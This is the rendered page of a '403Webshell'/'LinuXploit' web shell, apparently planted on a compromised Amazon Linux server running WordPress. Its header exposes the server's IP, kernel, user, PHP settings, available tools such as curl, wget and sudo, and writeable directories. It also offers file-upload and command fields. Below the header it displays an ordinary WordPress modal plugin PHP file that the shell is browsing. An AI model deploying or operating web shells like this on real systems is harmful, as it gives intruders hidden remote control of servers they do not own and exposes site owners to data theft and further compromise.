403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/sites/scike-astronomy/wp-content/plugins/tsai-plugin/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/sites/scike-astronomy/wp-content/plugins/tsai-plugin/includes/class-tsai-modal.php
<?php
if (!defined('ABSPATH')) {
    exit;
}

class TSAI_Modal {

    private static $instance = null;
    private $needed = false;
    private $preload_url = '';

    public static function instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        add_action('wp_footer', array($this, 'render_modal'), 99);
        add_action('wp_head', array($this, 'render_resource_hints'), 5);
    }

    /**
     * Mark that at least one modal shortcode is on this page.
     * Optionally records the first URL so the iframe can be preloaded
     * before the user clicks a trigger.
     */
    public function set_needed($url = '') {
        $this->needed = true;
        if ($url && !$this->preload_url) {
            $this->preload_url = $url;
        }
    }

    /**
     * Emit preconnect / preload hints for the SAS app host so the bundle
     * is fetched as early as possible on pages that have a SAS modal.
     */
    public function render_resource_hints() {
        if (!$this->needed || !$this->preload_url) {
            return;
        }
        $parts = wp_parse_url($this->preload_url);
        if (empty($parts['scheme']) || empty($parts['host'])) {
            return;
        }
        $origin = $parts['scheme'] . '://' . $parts['host'];
        printf(
            '<link rel="preconnect" href="%s" crossorigin>' . "\n",
            esc_url($origin)
        );
    }

    /**
     * Inject the shared modal container in the footer (only if needed).
     * The iframe is preloaded with the first SAS URL on the page so the
     * first click is an immediate show, not a fresh bootstrap.
     */
    public function render_modal() {
        if (!$this->needed) {
            return;
        }
        $src = $this->preload_url ? esc_url($this->preload_url) : '';
        ?>
        <div id="tsai-modal-backdrop"></div>
        <div id="tsai-modal-container">
            <button id="tsai-modal-close">&times;</button>
            <iframe id="tsai-modal-frame" src="<?php echo $src; ?>" data-tsai-current-url="<?php echo $src; ?>"></iframe>
        </div>
        <?php
    }
}

// Initialize singleton
TSAI_Modal::instance();

Youez - 2016 - github.com/yon3zu
LinuXploit